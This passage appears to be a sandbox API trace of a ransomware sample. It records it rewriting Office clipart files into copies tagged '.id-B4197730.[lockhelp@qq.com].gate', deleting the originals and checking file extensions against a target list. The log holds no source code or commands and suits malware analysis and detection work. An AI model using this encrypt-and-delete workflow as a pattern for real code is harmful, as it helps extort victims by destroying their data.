(hObject=0x514) returned 1 [0294.463] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.463] SetEndOfFile (hFile=0x528) returned 1 [0294.483] CloseHandle (hObject=0x528) returned 1 [0294.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0294.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0294.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0294.502] lstrlenW (lpString=".doc") returned 4 [0294.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString=".docx") returned 5 [0294.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.502] lstrlenW (lpString=".pdf") returned 4 [0294.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString=".xls") returned 4 [0294.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.502] lstrlenW (lpString=".xlsx") returned 5 [0294.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.502] lstrlenW (lpString=".ppt") returned 4 [0294.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0294.502] lstrlenW (lpString=".zip") returned 4 [0294.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.502] lstrlenW (lpString=".rar") returned 4 [0294.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString=".bz2") returned 4 [0294.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString=".7z") returned 3 [0294.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0294.502] lstrlenW (lpString=".dbf") returned 4 [0294.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0294.502] lstrlenW (lpString=".1cd") returned 4 [0294.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0294.502] lstrlenW (lpString=".jpg") returned 4 [0294.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.504] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=580) returned 1 [0294.504] CloseHandle (hObject=0x52c) returned 1 [0294.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0294.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.504] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.504] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0294.505] GetLastError () returned 0x0 [0294.506] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x244, lpOverlapped=0x0) returned 1 [0294.507] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x250, lpOverlapped=0x0) returned 1 [0294.508] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.508] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.508] SetEndOfFile (hFile=0x50c) returned 1 [0294.508] CloseHandle (hObject=0x50c) returned 1 [0294.509] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.509] SetEndOfFile (hFile=0x52c) returned 1 [0294.512] CloseHandle (hObject=0x52c) returned 1 [0294.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0294.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0294.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0294.513] lstrlenW (lpString=".doc") returned 4 [0294.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.513] lstrlenW (lpString=".docx") returned 5 [0294.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.513] lstrlenW (lpString=".pdf") returned 4 [0294.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.513] lstrlenW (lpString=".xls") returned 4 [0294.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.513] lstrlenW (lpString=".xlsx") returned 5 [0294.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.513] lstrlenW (lpString=".ppt") returned 4 [0294.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0294.513] lstrlenW (lpString=".zip") returned 4 [0294.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.513] lstrlenW (lpString=".rar") returned 4 [0294.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.514] lstrlenW (lpString=".bz2") returned 4 [0294.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.514] lstrlenW (lpString=".7z") returned 3 [0294.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0294.514] lstrlenW (lpString=".dbf") returned 4 [0294.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0294.514] lstrlenW (lpString=".1cd") returned 4 [0294.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0294.514] lstrlenW (lpString=".jpg") returned 4 [0294.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.514] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=296) returned 1 [0294.514] CloseHandle (hObject=0x52c) returned 1 [0294.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0294.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.515] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.515] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0294.516] GetLastError () returned 0x0 [0294.516] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x128, lpOverlapped=0x0) returned 1 [0294.517] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x130, lpOverlapped=0x0) returned 1 [0294.517] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.517] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.522] SetEndOfFile (hFile=0x50c) returned 1 [0294.522] CloseHandle (hObject=0x50c) returned 1 [0294.522] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.522] SetEndOfFile (hFile=0x52c) returned 1 [0294.524] CloseHandle (hObject=0x52c) returned 1 [0294.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0294.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0294.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0294.526] lstrlenW (lpString=".doc") returned 4 [0294.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.526] lstrlenW (lpString=".docx") returned 5 [0294.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.526] lstrlenW (lpString=".pdf") returned 4 [0294.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.526] lstrlenW (lpString=".xls") returned 4 [0294.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.526] lstrlenW (lpString=".xlsx") returned 5 [0294.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.526] lstrlenW (lpString=".ppt") returned 4 [0294.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0294.527] lstrlenW (lpString=".zip") returned 4 [0294.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.527] lstrlenW (lpString=".rar") returned 4 [0294.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.527] lstrlenW (lpString=".bz2") returned 4 [0294.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.527] lstrlenW (lpString=".7z") returned 3 [0294.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0294.527] lstrlenW (lpString=".dbf") returned 4 [0294.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0294.527] lstrlenW (lpString=".1cd") returned 4 [0294.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0294.527] lstrlenW (lpString=".jpg") returned 4 [0294.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.528] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=552) returned 1 [0294.528] CloseHandle (hObject=0x52c) returned 1 [0294.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0294.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.528] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.528] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0294.529] GetLastError () returned 0x0 [0294.529] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x228, lpOverlapped=0x0) returned 1 [0294.530] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x230, lpOverlapped=0x0) returned 1 [0294.530] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.531] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.531] SetEndOfFile (hFile=0x50c) returned 1 [0294.531] CloseHandle (hObject=0x50c) returned 1 [0294.531] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.531] SetEndOfFile (hFile=0x52c) returned 1 [0294.534] CloseHandle (hObject=0x52c) returned 1 [0294.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0294.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0294.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0294.535] lstrlenW (lpString=".doc") returned 4 [0294.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString=".docx") returned 5 [0294.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.535] lstrlenW (lpString=".pdf") returned 4 [0294.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString=".xls") returned 4 [0294.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.535] lstrlenW (lpString=".xlsx") returned 5 [0294.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.535] lstrlenW (lpString=".ppt") returned 4 [0294.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0294.535] lstrlenW (lpString=".zip") returned 4 [0294.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.535] lstrlenW (lpString=".rar") returned 4 [0294.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString=".bz2") returned 4 [0294.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString=".7z") returned 3 [0294.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0294.535] lstrlenW (lpString=".dbf") returned 4 [0294.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0294.535] lstrlenW (lpString=".1cd") returned 4 [0294.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0294.535] lstrlenW (lpString=".jpg") returned 4 [0294.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.536] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4148) returned 1 [0294.536] CloseHandle (hObject=0x52c) returned 1 [0294.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0294.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.536] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.536] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0294.537] GetLastError () returned 0x0 [0294.537] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1034, lpOverlapped=0x0) returned 1 [0294.692] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1040, lpOverlapped=0x0) returned 1 [0294.693] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.693] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.693] SetEndOfFile (hFile=0x50c) returned 1 [0294.693] CloseHandle (hObject=0x50c) returned 1 [0294.693] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.693] SetEndOfFile (hFile=0x52c) returned 1 [0294.695] CloseHandle (hObject=0x52c) returned 1 [0294.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0294.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0294.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0294.697] lstrlenW (lpString=".doc") returned 4 [0294.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.697] lstrlenW (lpString=".docx") returned 5 [0294.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.697] lstrlenW (lpString=".pdf") returned 4 [0294.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.697] lstrlenW (lpString=".xls") returned 4 [0294.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.697] lstrlenW (lpString=".xlsx") returned 5 [0294.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.697] lstrlenW (lpString=".ppt") returned 4 [0294.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0294.697] lstrlenW (lpString=".zip") returned 4 [0294.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.697] lstrlenW (lpString=".rar") returned 4 [0294.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.697] lstrlenW (lpString=".bz2") returned 4 [0294.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.697] lstrlenW (lpString=".7z") returned 3 [0294.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0294.698] lstrlenW (lpString=".dbf") returned 4 [0294.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0294.698] lstrlenW (lpString=".1cd") returned 4 [0294.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 